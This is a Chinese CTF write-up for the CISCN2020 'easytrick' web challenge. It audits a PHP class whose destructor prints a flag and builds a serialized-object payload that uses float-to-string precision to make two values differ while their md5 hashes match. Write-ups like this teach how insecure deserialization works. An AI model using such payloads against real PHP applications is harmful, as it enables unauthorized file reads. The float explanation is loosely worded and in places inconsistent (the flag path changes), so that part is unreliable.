zl程序教程

您现在的位置是:首页 >  其它

当前栏目

CISCN2020-easytrick

2023-09-27 14:28:02 时间

0x01、Web

1.CISCN2020-easytrick

第一步:代码审计

<?php
class trick{			//类:trick
    public $trick1;		//公有属性:$trick1
    public $trick2;		//公有属性:$trick2
    public function __destruct(){	//公有析构方法:当所在类的实例化对象销毁前,自动被调用
        $this->trick1 = (string)$this->trick1;	//把属性$trick1转化为字符型数据
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){	//判断属性$trick1和$trick2的长度是否为大于5
            die("你太长了");										 //若大于,则退出程序,并且返回:“你太长了”
        }
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("/flag");		//若同时满足以上的三个条件,则打印出根目录下的flag
        }
    }
}
highlight_file(__FILE__);							//高亮显示当前页面源码
unserialize($_GET['trick']);						//以GET形式读取trick参数传递的值,并且反序列化

第二步:整理思路

想要打印flag-->就需要满足两个if条件-->想要执行析构方法-->需要存在当前类的实例化对象,那么才会在该脚本结束时候,自动取销毁对象

第三步:想办法绕过第一个if条件

if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){			//判断属性$trick1和$trick2的长度是否为大于5
            die("你太长了");										 //若大于,则退出程序,并且返回:“你太长了”
}
很明显,想要绕过这个if条件,只要求两个属性的值长度小等于5即可。

第四步:想办法满足第二个if条件

if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
            echo file_get_contents("./flag.php");					  //若同时满足以上的三个条件,则打印出网站根目录下的flag.php页面源码
}
(1)这里我们把上面的三个条件拿出来:
	$trick1 !== $trick2				//属性1不全等与属性2
	$trick1 !=  $trick2				//属性1不等于属性2
	md5($trick1) === md5($trick2)	//属性1的md5值要全等于属性2的md5值

(2)想要同时满足以上的条件,我们要先熟悉一下php的比较运算:
	$a  ==   $b						//弱等于,成立条件:值相同
	$a  ===  $b						//强等于,成立条件:数据类型相同,值相同
	$a  !=   $b						//不弱等于,成立条件:值不同
	$a  !==  $b						//不强等于,成立条件:数据类型不同,或者值不同

(3)通过上面的学习,我们会发现要满足以上的条件,就需要:
	属性1和属性2的数据类型不同,或者值不同
	属性1和属性2的值不同
	属性1的md5值和属性2的md5值的数据类型和值都相同
	//这里只要满足属性1和属性2的值不同,并且md5值数据类型和值都相同
	
(4)这里还会发现在if条件之前,还会有一个类型转换:
	$this->trick1 = (string)$this->trick1;	//把属性$trick1转化为字符型
	
(5)这里我们可以利用:单精度浮点数在小数点后15位的时候,如果进行函数运算就会发生衰减
	$a = 0.1;
	$b = 0.1000000000000001;		//15位
	var_dump($a!=$b);
	var_dump($a!==$b);
	var_dump(md5($a)===md5($b));
	//boolean true
	//boolean true
	//boolean true
	//很明显:都成立了,满足了值不同,但是md5后的类型和值都相同

第五步:编写代码,构造payload

$chen = new trick();
$chen->trick1 = 0.1;
$chen->trick2 = 0.100000000000001;
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

因此payload:

?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

查看页面源码,发现flag:

$flag = "flag{this_is_test!!!}";

2.总结

1.php的比较运算:

$a  ==   $b						//弱等于,成立条件:数据类型自动转换只比较值,值相同
$a  ===  $b						//强等于,成立条件:数据类型和值都要相同
$a  !=   $b						//不弱等于,成立条件:数据类型自动转换只比较值,值不同
$a  !==  $b						//不强等于,成立条件:数据类型不同,或者值不同

2.单精度浮点数,精确到小数点后15位的问题!!!

#1.总结:
//单精度,精确到小数点后15位的问题!!!
//在比较运算的时候,精确到15位,不衰减
//在函数运算的时候,精确到15位,衰减

#2.例子:
//比较运算,不衰减
#var_dump(0.1 != 0.100000000000001);
#var_dump(0.1 !== 0.100000000000001);

//函数运算,衰减
#var_dump(0.1);					
#var_dump(0.100000000000001);		//实际运算的是:var_dump(0.1)
#var_dump(md5(0.1));
#var_dump(md5(0.100000000000001));	//实际运算的是:var_dump(0.1)

3.思路

#思路:
//要想打印flag.php页面源码,就要满足两个if条件
//要想执行两个if判断,就要执行析构方法
//要想执行析构方法,就要创建当前类的对象,以便在对象销毁前,自动调用该方法

#因此:
//我们要传入当前类的对象,并且反序列化
//为了满足if条件,同时还要给属性赋值

#第一步:分析if条件1
//if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){     //判断属性的值是否大于5
//    die("你太长了");        //若大于5,则退出
//}
//很明显:只要满足两个属性的值,在进行strlen()函数运算的时候,结果不大于5即可

#第二步:分析if条件2
//$this->trick1 = (string)$this->trick1;      //把属性$trick1,转化为字符串数据类型
//if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){     //判断三个条件是否成立
//    echo file_get_contents("./flag.php");        //若成立,则打印出当前目录下的flag.php页面源码
//}
//分析,三个比较运算:
//$this->trick1 !== $this->trick2               //属性1不全等于属性2,成立条件:数据类型不同,或者值不同
//md5($this->trick1) === md5($this->trick2)     //属性1的md5值全等于属性2的md5值,成立条件:数据类型和值都要相同
//$this->trick1 != $this->trick2                //属性1不弱等于属性2,成立条件:数据类型自动转化相同,只需要值不同
//因此,属性1和属性2要满足以下条件:
    //两个属性值必须不同,数据类型同不同无所谓
    //两个属性的md5值必须全等,也就是数据类型的值都要相同

#php单精度浮点数,在精确到小数点15后的时候,只要一遇到函数运算,就会衰减
//$a = 0.1;
//$b = 0.100000000000001;
//var_dump($a != $b);                 //boolean true      //因为值不同
//var_dump($a !== $b);                //boolean true      //因为值不同
//var_dump(strlen($a)<5);             //boolean true      //strlen(0.1)<=5,正常
//var_dump(strlen($b)<5);             //boolean true      //发生了衰减,strlen($b)实际执行的是strlen(0.1)
//var_dump(md5($a) === md5($b));      //boolean true      //发生了衰减,md5($b)实际执行的是md5(0.1)

#注意:$this->trick1 = (string)$this->trick1;      //把属性$trick1,转化为字符串数据类型
//$a = '0.1';
//$b = 0.100000000000001;
//#$a和$b直接进行比较运算的时候,值肯定不同,那么满足不弱等于和不强等于
//#$a和$b的长度比较
//echo strlen($a)."<br />";   //3     //因为strlen($a)==>strlen('0.1')==>误以为是计算0.1的长度
//echo strlen($b)."<br />";   //3     //strlen(0.1),直接运算0.1
//#接着比较md5
//var_dump(md5($a));  //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32)     //md5('0.1')--》误以为运算0.1
//var_dump(md5($b));  //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32)     //md5(0.1)--》直接运算0.1

#第三步:我们既然满足了if条件,这里就要开始实例化类的对象了
//$chen = new trick();
//$chen->trick1 = 0.1;
//$chen->trick2 = 0.100000000000001;
//$chen = serialize($chen);
//echo $chen."<br />";
//查看页面源码,发现我们打印的payload:
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}

#传入payload:
//?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
//查看页面源码,发现flag:$flag = "flag{this_is_test!!!}";

#观察payload:我们会发现0.1被序列化成了0.1000000000000001
//因此:精确到15位和到16为位,都会在函数运算的时候衰减到0.1
//0.1 = 0.1000000000000001
//0.1 = 0.100000000000001